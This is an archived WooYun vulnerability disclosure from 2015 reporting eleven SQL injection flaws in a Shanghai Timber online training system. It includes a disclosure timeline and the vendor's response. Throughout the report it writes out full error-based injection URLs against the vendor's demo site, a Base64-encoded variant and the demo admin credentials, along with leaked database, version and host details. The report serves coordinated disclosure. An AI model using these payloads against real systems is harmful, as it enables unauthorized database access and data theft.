当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0121382

漏洞标题:上海天柏在线培训系统通用11处SQL注入漏洞打包

相关厂商:上海天柏信息科技有限公司

漏洞作者: goubuli

提交时间:2015-06-19 13:58

修复时间:2015-09-21 18:14

公开时间:2015-09-21 18:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-19: 细节已通知厂商并且等待厂商处理中
2015-06-23: 厂商已经确认,细节仅向厂商公开
2015-06-26: 细节向第三方安全合作伙伴开放
2015-08-17: 细节向核心白帽子及相关领域专家公开
2015-08-27: 细节向普通白帽子公开
2015-09-06: 细节向实习白帽子公开
2015-09-21: 细节向公众公开

简要描述:

RT
又是好多,审核说我是刷的,其实不是,我挖一个提交一个。。。现在把手里的打包发。。。

详细说明:

厂商信息:

厂商:上海天柏信息科技有限公司
官网:http://timber2005.com/
案例:http://timber2005.com/Customer.html
官方演示demo:http://px2.timber2005.com
前台测试帐号:test1,test2,test3,test4,test5,test6 测试密码:123456
常用测试账号:test5/123456
后台测试帐号:master 测试密码:123456
demo测试,mssql注入

px2_2.png


首先申明一下,wooyun已存在的漏洞,肯定会重复,现在提交现挖的。。。
审核说我刷的,其实不是刷啊,我都是挖一个提交一个。。。现在把手里有的打包发了吧,你们审核也方便了。。。
案例:

px2_5.png


=======================================================================
注入一、

http://px2.timber2005.com/WebPage/Paying.aspx?infoid=403
参数infoid存在注入


提交:

http://px2.timber2005.com/WebPage/Paying.aspx?infoid=403 and 1=user


px2_10.png


注入二、

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Download.aspx?infoid=4 
参数info存在注入


提交:http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Download.aspx?infoid=4'

px2_1.png


提交:

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Download.aspx?infoid=4 and 1=user


px2_3.png


http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Download.aspx?infoid=4 and 1=db_name()


px2_4.png


注入三、Base64编码后注入

http://px2.timber2005.com/WebPage/pay_success.aspx?infoid=NDAz
参数infoid存在注入


提交:

403'


编码后:

http://px2.timber2005.com/WebPage/pay_success.aspx?infoid=NDAzJw==


提交:

403 and 1=user


编码后:

http://px2.timber2005.com/WebPage/pay_success.aspx?infoid=NDAzIGFuZCAxPXVzZXI=


px2_11.png


注入四、

http://px2.timber2005.com/MediaCenter/TimberPlayer.aspx?infoid=160&cid=25 and 1=user&date=Thu Jun 18 2015 14:45:25 GMT+0800
参数cid存在注入


px2_18.png


注入五、

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Course_Class_List_Default.aspx?cid=27
参数cid存在注入


提交: and 1=user

px2_14.png


注入六、

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/CW_Zone.aspx?cid=27 
参数cid存在注入


提交:

and 1=user


px2_13.png


注入七、

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Content.aspx?cid=27
参数cid存在注入


提交:

and 1=db_name()


注入八、

http://px2.timber2005.com/MediaCenter/TimberPlayer.aspx?infoid=161&cid=25&date=Thu Jun 18 2015 14:43:00 GMT+0800
参数infoid存在注入


px2_17.png


注入九、

http://px2.timber2005.com/Exam/User_Exam.aspx?wkey=GD&planid=4138&planname=练习测试&time=100&point=100&passpoint=10&module=True&pid=4110&examkey=&return=../Course/User_Test_Query.aspx?infoid=
参数planid存在注入


提交:

http://px2.timber2005.com/Exam/User_Exam.aspx?wkey=GD&planid=4138 and user=1&planname=练习测试&time=100&point=100&passpoint=10&module=True&pid=4110&examkey=&return=../Course/User_Test_Query.aspx?infoid=


px2_12.png


注入十、

http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Zone.aspx?cid=25 and 1=user
参数cid存在注入


px2_19.png


注入十一、

http://px2.timber2005.com/WebPage/Personcenterd/Classroom/User_Exam_Query.aspx?yc=y&cid=25 and 1=user
参数cid存在注入


px2_20.png


----------------------------------------------------------------------
数据证明
用户:
提交:

http://px2.timber2005.com/WebPage/Personcenterd/Classroom/User_Exam_Query.aspx?yc=y&cid=25 and 1=user


px2_23.png

将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。


数据库名称:
提交:

http://px2.timber2005.com/WebPage/Personcenterd/Classroom/User_Exam_Query.aspx?yc=y&cid=25 and 1=db_name()


px2_22.png


将 nvarchar 值 'Timber_Exam_Org' 转换为数据类型为 int 的列时发生语法错误。


数据库版本:
提交:

http://px2.timber2005.com/WebPage/Personcenterd/Classroom/User_Exam_Query.aspx?yc=y&cid=25 and 1=@@version


px2_21.png


将 nvarchar 值 'Microsoft SQL Server  2000 - 8.00.2039 (Intel X86)
May 3 2005 23:18:38
Copyright (c) 1988-2003 Microsoft Corporation
Personal Edition on Windows NT 6.0 (Build 6002: Service Pack 2)
' 转换为数据类型为 int 的列时发生语法错误。


机器名称:
提交:

http://px2.timber2005.com/WebPage/Personcenterd/Classroom/User_Exam_Query.aspx?yc=y&cid=25 and 1=host_name()


px2_24.png

将 nvarchar 值 'TIMBER_SERVER3' 转换为数据类型为 int 的列时发生语法错误。


=======================================================================
爆路径一、
提交:http://px2.timber2005.com/WebPage/Paying.aspx?infoid=403a

px2_16.png


爆路径二、http://px2.timber2005.com/Webpage/Personcenterd/Classroom/Case_Content.aspx?cid=27

px2_15.png

漏洞证明:

已证明

修复方案:

升级+补丁
添加友好500界面

版权声明:转载请注明来源 goubuli@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-06-23 18:13

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评论